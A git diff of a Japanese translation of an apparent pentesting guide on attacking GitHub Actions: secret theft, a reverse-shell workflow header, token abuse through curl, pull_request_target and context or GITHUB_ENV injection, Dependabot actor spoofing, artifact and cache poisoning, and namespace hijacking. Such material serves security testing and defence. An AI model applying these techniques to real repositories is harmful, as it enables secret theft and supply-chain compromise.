Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -4,55 +4,55 @@
 
 ## ツール
 
-以下のツールは、Github Actionのワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます：
+次のツールは、Github Actionのワークフローを見つけたり、脆弱なものを発見するのに便利です：
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - そのチェックリストも[https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)で確認してください
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - チェックリストは [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) も参照してください
 
 ## 基本情報
 
-このページでは以下を見つけることができます：
+このページでは以下を扱います：
 
-- 攻撃者がGithub Actionにアクセスできた場合の**影響の概要**
-- **アクションにアクセスするための異なる方法**：
-- アクションを作成するための**権限**
-- **プルリクエスト**関連のトリガーを悪用する
-- **他の外部アクセス**技術を悪用する
-- すでに侵害されたリポジトリからの**ピボット**
-- 最後に、内部からアクションを悪用するための**ポストエクスプロイト技術**に関するセクション（前述の影響を引き起こす）
+- 攻撃者がGithub Actionにアクセスした場合の**すべての影響の要約**
+- アクションに**アクセスするさまざまな方法**:
+- アクションを作成するための**権限**を持つこと
+- **pull request**関連のトリガーを悪用する
+- その他の**外部アクセス**技術を悪用する
+- 既に侵害されたリポジトリからの**Pivoting**
+- 最後に、アクションの内部から悪用するための**post-exploitation techniques**に関するセクション（前述の影響を引き起こす）
 
 ## 影響の概要
 
-[**Github Actionsの基本情報**](../basic-github-information.md#github-actions)についての紹介があります。
+導入としては[**Github Actions の基本情報を確認してください**](../basic-github-information.md#github-actions)。
 
-**リポジトリ内でGitHub Actionsで任意のコードを実行できる**場合、以下のことが可能です：
+もしリポジトリ内で**GitHub Actions上で任意のコードを実行できる**なら、次のことが可能になるかもしれません：
 
-- パイプラインにマウントされた**シークレットを盗む**ことができ、**パイプラインの権限を悪用**して、AWSやGCPなどの外部プラットフォームに不正アクセスすることができます。
-- **デプロイメント**や他の**アーティファクトを侵害**することができます。
-- パイプラインが資産をデプロイまたは保存する場合、最終製品を変更し、サプライチェーン攻撃を可能にすることができます。
-- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットすることができます。
-- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書き**することができます。
+- パイプラインにマウントされた**secretsを盗み**、パイプラインの権限を**悪用して**AWSやGCPなどの外部プラットフォームに不正アクセスする。
+- デプロイを**侵害**し、その他の**artifacts**も影響を受ける。
+- パイプラインがアセットをデプロイまたは保存している場合、最終製品を改変でき、サプライチェーン攻撃を可能にする。
+- カスタムワーカーで**コードを実行**し、計算資源を悪用して他のシステムへpivotする。
+- `GITHUB_TOKEN` に関連する権限によっては、リポジトリのコードを**上書き**することができる。
 
 ## GITHUB_TOKEN
 
-この「**シークレット**」（`${{ secrets.GITHUB_TOKEN }}`および`${{ github.token }}`から来る）は、管理者がこのオプションを有効にしたときに与えられます：
+この「**secret**」（`${{ secrets.GITHUB_TOKEN }}` と `${{ github.token }}` から提供される）は、管理者がこのオプションを有効にしたときに付与されます：
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-このトークンは**Githubアプリケーションが使用するものと同じ**で、同じエンドポイントにアクセスできます：[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+このトークンは**Github Applicationが使用するものと同じ**ため、同じエンドポイントにアクセスできます: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Githubは、リポジトリが`GITHUB_TOKEN`を使用して他の内部リポジトリにアクセスできるようにする[**フロー**](https://github.com/github/roadmap/issues/74)をリリースするべきです。
+> Github は [**flow**](https://github.com/github/roadmap/issues/74) をリリースすべきで、GitHub内で**クロスリポジトリ**アクセスを許可し、リポジトリが `GITHUB_TOKEN` を使用して他の内部リポジトリにアクセスできるようにする。
 
-このトークンの可能な**権限**は以下で確認できます：[https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+このトークンの可能な**権限**は次で確認できます: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-トークンは**ジョブが完了した後に期限切れ**になります。\
-これらのトークンは次のようになります：`ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+このトークンは**ジョブ完了後に有効期限切れになる**点に注意してください。\
+これらのトークンは次のような形式です: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-このトークンでできる興味深いこと：
+このトークンでできる興味深いこと:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
 -d "{\"commit_title\":\"commit_title\"}"
 ```
 {{#endtab }}
-{{#tab name="PRを承認する" }}
+{{#tab name="Approve PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> 注意してください。いくつかの場面で、**Github Actionsのenvやシークレットの中にgithubユーザートークンを見つけることができるでしょう**。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
+> いくつかの場面で、**github user tokens inside Github Actions envs or in the secrets** を見つけられることがあります。これらのトークンはリポジトリや組織に対してより多くの権限を与える可能性があります。
 
 <details>
 
-<summary>Github Action出力のシークレットをリストする</summary>
+<summary>Github Action の出力に含まれる secrets を一覧表示</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>シークレットを使ってリバースシェルを取得</summary>
+<summary>secrets を使って reverse shell を取得する</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-他のユーザーのリポジトリに与えられたGithubトークンの権限を**ログを確認することで**チェックすることが可能です：
+別のユーザーのリポジトリに対して与えられている Github Token の権限は、actions のログを確認することでチェックできます **checking the logs**:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## 許可された実行
+## Allowed Execution
 
 > [!NOTE]
-> これはGithubアクションを危険にさらす最も簡単な方法です。このケースは、**組織内に新しいリポジトリを作成するアクセス権**があるか、**リポジトリに対する書き込み権限**があることを前提としています。
+> これは Github actions を侵害する最も簡単な方法です。というのも、このケースはあなたが **create a new repo in the organization** できるか、または **write privileges over a repository** を持っていることを前提としているからです。
 >
-> このシナリオにいる場合は、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action)を確認するだけです。
+> このような状況にある場合、[Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) を確認してください。
 
-### リポジトリ作成からの実行
+### Execution from Repo Creation
 
-組織のメンバーが**新しいリポジトリを作成でき**、あなたがGithubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。
+組織のメンバーが **create new repos** でき、かつあなたが github actions を実行できる場合、**create a new repo and steal the secrets set at organization level** ことができます。
 
-### 新しいブランチからの実行
+### Execution from a New Branch
 
-既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロード**し、その後**新しいブランチからそのアクションを実行**することができます。この方法で、**リポジトリおよび組織レベルのシークレットを外部に持ち出す**ことができます（ただし、どのように呼ばれているかを知っている必要があります）。
+既に Github Action が設定されているリポジトリに **create a new branch** できる場合、それを **modify** し、コンテンツを **upload** して、その新しいブランチからそのアクションを **execute** できます。こうしてリポジトリおよび組織レベルのsecretsを **exfiltrate** できます（ただし、secrets がどのように呼ばれているかを知っている必要があります）。
 
-修正されたアクションを**手動で**実行可能にすることができます。**PRが作成されたとき**や**コードがプッシュされたとき**（どれだけ目立ちたいかによります）：
+> [!WARNING]
+> ワークフロー YAML の内部だけで実装された制限（例えば、`on: push: branches: [main]`、job の条件式、または手動ゲート）はコラボレーターによって編集可能です。外部による強制（branch protections、protected environments、protected tags）がなければ、寄稿者はワークフローを自分のブランチで動作するようにリターゲットし、マウントされた secrets/permissions を悪用できます。
+
+改変したアクションは、手動で、**PR が作成されたとき**や**コードがプッシュされたとき**に実行可能にできます（どれだけ目立ちたいかによります）：
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -180,46 +183,46 @@ branches:
 ## フォークされた実行
 
 > [!NOTE]
-> 攻撃者が**他のリポジトリのGithub Actionを実行する**ことを可能にする異なるトリガーがあります。これらのトリガー可能なアクションが不適切に構成されている場合、攻撃者はそれらを妥協させることができるかもしれません。
+> 攻撃者が**別のリポジトリの Github Action を実行する**ことを可能にするさまざまなトリガーがあります。これらのトリガー可能なアクションが不適切に構成されていると、攻撃者はそれらを悪用できる可能性があります。
 
 ### `pull_request`
 
-ワークフロートリガー**`pull_request`**は、プルリクエストが受信されるたびにワークフローを実行しますが、いくつかの例外があります：デフォルトでは、**初めて**コラボレーションする場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります。
+ワークフロートリガー **`pull_request`** は、いくつかの例外を除き、プルリクエストを受け取るたびにワークフローを実行します。デフォルトでは**初回**のコラボレーションの場合、いくつかの**メンテイナー**がワークフローの**実行**を**承認**する必要があります:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> **デフォルトの制限**は**初めての**貢献者に対して適用されるため、**有効なバグ/タイプミスを修正する**ことで貢献し、その後**新しい`pull_request`権限を悪用するために他のPRを送信する**ことができます。
+> デフォルトの制限は**初回の貢献者**に対するものなので、正当なバグ修正やタイポ修正で貢献した後に、**新たに得た `pull_request` 権限を悪用するための別の PR を送る**ことが可能になります。
 >
-> **これをテストしましたが、機能しませんでした**：~~別のオプションは、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除することです。~~
+> **私はこれを試しましたがうまくいきませんでした**: ~~別の選択肢としては、プロジェクトに貢献した誰かの名前でアカウントを作成し、そのアカウントを削除する、という方法が考えられます。~~
 
-さらに、デフォルトでは**書き込み権限**と**シークレットアクセス**をターゲットリポジトリに対して防ぎます。これは[**ドキュメント**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています：
+さらに、デフォルトでは対象リポジトリへの**書き込み権限の付与**と**シークレットへのアクセス**を防ぎます。詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)を参照してください:
 
-> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされるとき、**`GITHUB_TOKEN`はプルリクエストから**フォークされたリポジトリに対して**読み取り専用権限**を持っています。
+> `GITHUB_TOKEN` を除き、ワークフローが**フォークされたリポジトリ**からトリガーされた場合、**シークレットはランナーに渡されません**。**`GITHUB_TOKEN` はフォークされたリポジトリからの pull request では読み取り専用の権限を持ちます。**
 
-攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。
+攻撃者は Github Action の定義を変更して任意の処理を実行したり任意のアクションを追加したりすることができます。しかし、前述の制限によりシークレットを盗んだりリポジトリを書き換えたりすることはできません。
 
 > [!CAUTION]
-> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません！**
+> **はい、もし攻撃者が PR でトリガーされる Github Action を変更した場合、使用されるのは元リポジトリのものではなく攻撃者の Github Action になります！**
 
-攻撃者は実行されるコードも制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、例えば**悪意のあるアーティファクトをアップロードする**ことができます。
+攻撃者は実行されるコードも制御しているため、`GITHUB_TOKEN` にシークレットや書き込み権限がなくても、例えば**悪意あるアーティファクトをアップロードする**ことが可能です。
 
 ### **`pull_request_target`**
 
-ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに対して**書き込み権限**と**シークレットへのアクセス**を持っています（許可を求めません）。
+ワークフロートリガー **`pull_request_target`** は対象リポジトリへの**書き込み権限**と**シークレットへのアクセス**を持ちます（権限承認を求められません）。
 
-ワークフロートリガー**`pull_request_target`**は**ベースコンテキスト**で実行され、PRによって与えられたものではありません（**信頼できないコードを実行しないため**）。`pull_request_target`についての詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
-さらに、この特定の危険な使用についての詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
+ワークフロートリガー **`pull_request_target`** は **ベースのコンテキストで実行され**、PR 側のコンテキストでは実行されないことに注意してください（**信頼できないコードを実行しないため**）。`pull_request_target` の詳細は[**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)を参照してください。\
+さらに、この特定の危険な使用法については[**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)を参照してください。
 
-**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`**を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
+ベースで定義されたワークフローが実行され**PR 内のものではない**ため、**`pull_request_target` の使用は安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
 
-このトリガーは**シークレットへのアクセス**を持ちます。
+そしてこちらは**シークレットへのアクセス**を持ちます。
 
 ### `workflow_run`
 
-[**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)トリガーは、別のワークフローが`completed`、`requested`、または`in_progress`のときにワークフローを実行することを許可します。
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
-この例では、ワークフローは、別の「テストを実行」ワークフローが完了した後に実行されるように構成されています：
+In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
 ```yaml
 on:
 workflow_run:
@@ -227,29 +230,29 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-さらに、ドキュメントによると：`workflow_run`イベントによって開始されたワークフローは、**前のワークフローがない場合でも、シークレットにアクセスし、トークンを書き込むことができます**。
+Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
 
-この種のワークフローは、**外部ユーザーによって** **`pull_request`**または**`pull_request_target`**を介して**トリガーされる**ワークフローに**依存している**場合、攻撃される可能性があります。脆弱な例はいくつか[**このブログで見つけることができます**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**。** 最初の例は、**`workflow_run`**トリガーされたワークフローが攻撃者のコードをダウンロードすることです：`${{ github.event.pull_request.head.sha }}`\
-2つ目の例は、**信頼できない**コードから**`workflow_run`**ワークフローに**アーティファクト**を**渡し**、このアーティファクトの内容を**RCEに対して脆弱にする**方法で使用することです。
+この種類の workflow は、外部ユーザーが **`pull_request`** または **`pull_request_target`** 経由でトリガーできる **workflow** に依存している場合、攻撃される可能性があります。いくつかの脆弱な例は [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** 最初の例は **`workflow_run`** によってトリガーされた workflow が攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\
+2つ目の例は、**untrusted** コードから **artifact** を **`workflow_run`** ワークフローに渡し、そのアーティファクトの内容を RCE に対して **vulnerable** になるように使用するものです。
 
 ### `workflow_call`
 
 TODO
 
-TODO：`pull_request`から実行されたときに使用/ダウンロードされたコードが元のものであるか、フォークされたPRのものであるかを確認します。
+TODO: pull_request から実行されたとき、使用/ダウンロードされるコードがオリジナルのリポジトリのものか、フォークされた PR のものかを確認する
 
-## フォークされた実行の悪用
+## Abusing Forked Execution
 
-外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合にどのように悪用されるかを見てみましょう：
+外部攻撃者が github workflow を実行させることができる方法については既に述べました。次に、これらの実行が不適切に設定されている場合にどのように悪用され得るかを見てみましょう:
 
-### 信頼できないチェックアウト実行
+### Untrusted checkout execution
 
-**`pull_request`**の場合、ワークフローは**PRのコンテキスト**で実行されるため（**悪意のあるPRのコード**が実行されます）、誰かが**最初に承認する必要があります**。また、いくつかの[制限](#pull_request)があります。
+`pull_request` の場合、workflow は **PR のコンテキスト** で実行されます（つまり **malicious PR のコード** が実行されます）が、誰かが **まずそれを authorize する必要があり**、[limitations](#pull_request) が適用されます。
 
-**`pull_request_target`または`workflow_run`**を使用するワークフローが**`pull_request_target`または`pull_request`**からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
+`pull_request_target` または `workflow_run` を使用する workflow で、`pull_request_target` や `pull_request` からトリガー可能な workflow に依存している場合は、オリジナルリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
 
 > [!CAUTION]
-> ただし、**アクション**に**明示的なPRチェックアウト**があり、**PRからコードを取得する**（ベースからではなく）場合、攻撃者が制御するコードが使用されます。例えば（PRコードがダウンロードされる12行目を確認）：
+> ただし、もしその **action** が **明示的な PR checkout** を行い **PR からコードを取得する**（base ではなく）場合、攻撃者が制御するコードが使用されます。例えば（行12で PR のコードがダウンロードされているのを確認してください）:
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -279,32 +282,32 @@ message: |
 Thank you!
 </code></pre>
 
-潜在的に**信頼できないコードは`npm install`または`npm build`の間に実行されます**。ビルドスクリプトと参照された**パッケージはPRの著者によって制御されています**。
+潜在的に **untrusted なコードが `npm install` や `npm build` の実行中に走る** ことになります。build スクリプトや参照される **packages は PR の作成者によって制御されている**ためです。
 
 > [!WARNING]
-> 脆弱なアクションを検索するためのGitHubドークは：`event.pull_request pull_request_target extension:yml`ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります（PRを生成するアクターが誰であるかに関する条件を使用するなど）。
+> 脆弱な actions を検索するための github dork は: `event.pull_request pull_request_target extension:yml` ですが、action が insecure に設定されていても、ジョブを安全に実行するように設定する方法はいくつかあります（例えば PR を作成した actor に関する条件分岐を使うなど）。
 
-### コンテキストスクリプトインジェクション <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
+### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-特定の[**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)の値は、**PRを作成するユーザーによって制御されている**ことに注意してください。GitHubアクションがその**データを使用して何かを実行する**場合、**任意のコード実行**につながる可能性があります：
+Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENVスクリプトインジェクション** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-ドキュメントによると：環境変数を定義または更新し、これを**`GITHUB_ENV`**環境ファイルに書き込むことで、ワークフロージョブの後続のステップで**環境変数を利用可能にする**ことができます。
+From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
 
-攻撃者がこの**env**変数内に**任意の値を注入**できる場合、**LD_PRELOAD**や**NODE_OPTIONS**などの次のステップでコードを実行する環境変数を注入することができます。
+もし攻撃者がこの **env** 変数に任意の値を **inject** できるなら、後続のステップでコードを実行させ得るような env 変数（例えば **LD_PRELOAD** や **NODE_OPTIONS**）を注入できます。
 
-例えば、（[**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0)と[**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)）、アップロードされたアーティファクトを信頼してその内容を**`GITHUB_ENV`**環境変数に格納するワークフローを想像してください。攻撃者は、これを妥協させるために次のようなものをアップロードできます：
+例えば（[**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project) を参照）、アップロードされた artifact の内容を **`GITHUB_ENV`** に格納することを信頼している workflow を想像してください。攻撃者はそれを悪用するために次のようなものをアップロードできます:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
-### Dependabotと他の信頼されたボット
+### Dependabot and other trusted bots
 
-[**このブログ投稿**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest)に示されているように、いくつかの組織は、`dependabot[bot]`からのPRRをマージするGitHubアクションを持っています。
+As indicated in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-問題なのは、`github.actor`フィールドがワークフローをトリガーした最新のイベントを引き起こしたユーザーを含むことです。そして、`dependabot[bot]`ユーザーにPRを修正させる方法はいくつかあります。例えば：
+Which is a problem because the `github.actor` field contains the user who caused the latest event that triggered the workflow. And There are several ways to make the `dependabot[bot]` user to modify a PR. For example:
 
-- 被害者のリポジトリをフォークする
-- 自分のコピーに悪意のあるペイロードを追加する
-- 古い依存関係を追加してフォークでDependabotを有効にする。Dependabotは悪意のあるコードで依存関係を修正するブランチを作成します。
-- そのブランチから被害者のリポジトリにプルリクエストを開く（PRはユーザーによって作成されるので、まだ何も起こりません）
-- その後、攻撃者は自分のフォークでDependabotが開いた最初のPRに戻り、`@dependabot recreate`を実行します
-- その後、Dependabotはそのブランチでいくつかのアクションを実行し、被害者のリポジトリ上のPRを修正します。これにより、`dependabot[bot]`がワークフローをトリガーした最新のイベントのアクターとなり（したがって、ワークフローが実行されます）。
+- 標的リポジトリをフォークする
+- 自分のコピーに悪意あるペイロードを追加する
+- フォークでDependabotを有効にし、古い依存関係を追加する。Dependabotはその依存関係を修正するブランチを作成し、そこに悪意あるコードが入っている
+- そのブランチから標的リポジトリにPull Requestを作成する（PRはユーザーによって作成されるため、まだ何も起こらない）
+- その後、攻撃者は自分のフォークでDependabotが最初に作成したPRに戻り、`@dependabot recreate` を実行する
+- すると、Dependabotはそのブランチでいくつかの操作を行い、標的リポジトリ上のPRが変更される。その結果、最新のイベントのアクターが `dependabot[bot]` になり（したがってワークフローが実行される）
 
-次に、もしGithub Actionがコマンドインジェクションを持っていた場合はどうなるでしょうか：
+Moving on, what if instead of merging the Github Action would have a command injection like in:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-元のブログ投稿では、この動作を悪用するための2つのオプションが提案されており、2つ目は次のとおりです：
+Well, the original blogpost proposes two options to abuse this behavior being the second one:
 
-- 被害者のリポジトリをフォークし、いくつかの古い依存関係でDependabotを有効にします。
-- 悪意のあるシェルインジェクションコードを含む新しいブランチを作成します。
-- リポジトリのデフォルトブランチをそのブランチに変更します。
-- このブランチから被害者のリポジトリにPRを作成します。
-- フォークしたリポジトリでDependabotが開いたPRで`@dependabot merge`を実行します。
-- Dependabotは、フォークしたリポジトリのデフォルトブランチに変更をマージし、被害者のリポジトリのPRを更新し、`dependabot[bot]`がワークフローをトリガーした最新のイベントのアクターとなり、悪意のあるブランチ名を使用します。
+- 被害者のリポジトリをフォークし、古い依存関係で Dependabot を有効にする。
+- 悪意のある shell injection コードを含む新しいブランチを作成する。
+- リポジトリのデフォルトブランチをそれに変更する。
+- このブランチから被害者のリポジトリへ PR を作成する。
+- 彼のフォークで Dependabot が開いた PR 内で `@dependabot merge` を実行する。
+- Dependabot はフォークしたリポジトリのデフォルトブランチに変更をマージし、被害者リポジトリの PR を更新する。これにより、ワークフローをトリガーした最新イベントのアクターが `dependabot[bot]` になり、悪意のあるブランチ名が使用される。
 
-### 脆弱なサードパーティのGithub Actions
+### 脆弱なサードパーティの Github Actions
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)で述べられているように、このGithub Actionは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。
+As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
 
-問題は、**`path`**パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用されたり、ワークフロー内で実行されたりする可能性のあるファイルを上書きすることができることです。したがって、アーティファクトが脆弱である場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。
+問題は、**`path`** パラメータが設定されていない場合、artifact がカレントディレクトリに展開され、後でワークフロー内で使用されたり実行されたりする可能性のあるファイルを上書きしてしまう点です。したがって、Artifact が脆弱であれば、攻撃者はこれを悪用して Artifact を信頼する他のワークフローを侵害することができます。
 
-脆弱なワークフローの例：
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-このワークフローで攻撃される可能性があります：
+これは次のワークフローで攻撃できます:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -392,33 +395,33 @@ path: ./script.py
 
 ## その他の外部アクセス
 
-### 削除された名前空間のリポジトリハイジャック
+### Deleted Namespace Repo Hijacking
 
-アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に**100スター未満**だった場合、Githubは同じ名前の新しい登録ユーザーに**削除されたものと同じ名前のリポジトリ**を作成することを許可します。
+アカウントが名前を変更すると、しばらくして別のユーザがその名前でアカウントを登録できる可能性があります。リポジトリが**less than 100 stars previously to the change of name**だった場合、Github は同じ名前を持つ新しいユーザが削除されたものと同じ**repository with the same name**を作成することを許可します。
 
 > [!CAUTION]
-> したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妥協させる可能性があります。
+> したがって、ある action が存在しないアカウントの repo を参照している場合でも、攻撃者がそのアカウントを作成して action を compromise する可能性があります。
 
-他のリポジトリが**このユーザーのリポジトリからの依存関係**を使用している場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+もし他のリポジトリがこのユーザの repos からの **dependencies** を利用していた場合、攻撃者はそれらをハイジャックできるようになります。詳しい説明はこちら: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## リポジトリピボティング
+## Repo Pivoting
 
 > [!NOTE]
-> このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、**1つのリポジトリから別のリポジトリにピボットする**技術について説明します（前のセクションを確認してください）。
+> このセクションでは、最初の repo に何らかのアクセスがあると仮定して、**pivot from one repo to another** を可能にする技術について説明します（前のセクションを参照してください）。
 
-### キャッシュポイズニング
+### Cache Poisoning
 
-キャッシュは**同じブランチ内のワークフロー実行間で維持されます**。つまり、攻撃者が**パッケージを妥協**させ、それがキャッシュに保存され、**より特権のある**ワークフローによって**ダウンロード**および実行されると、そのワークフローも**妥協**される可能性があります。
+A cache is maintained between **wokflow runs in the same branch**。つまり、攻撃者が**compromise**した**package**をキャッシュに保存し、その後より権限の高い workflow によって**downloaded**および実行されると、その workflow も**compromise**される可能性があります。
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### アーティファクトポイズニング
+### Artifact Poisoning
 
-ワークフローは**他のワークフローやリポジトリからのアーティファクト**を使用することができます。攻撃者が**アーティファクトをアップロードするGithub Actionを妥協**させることができれば、他のワークフローも**妥協**させることができます：
+Workflows は **artifacts from other workflows and even repos** を利用することがあります。攻撃者が後で別の workflow によって使用される artifact を **uploads an artifact** する Github Action を**compromise**できれば、別の workflow も**compromise**する可能性があります:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## アクションからのポストエクスプロイト
+## Post Exploitation from an Action
 
-### OIDCを介したAWSおよびGCPへのアクセス
+### Github Action Policies Bypass
 
-以下のページを確認してください：
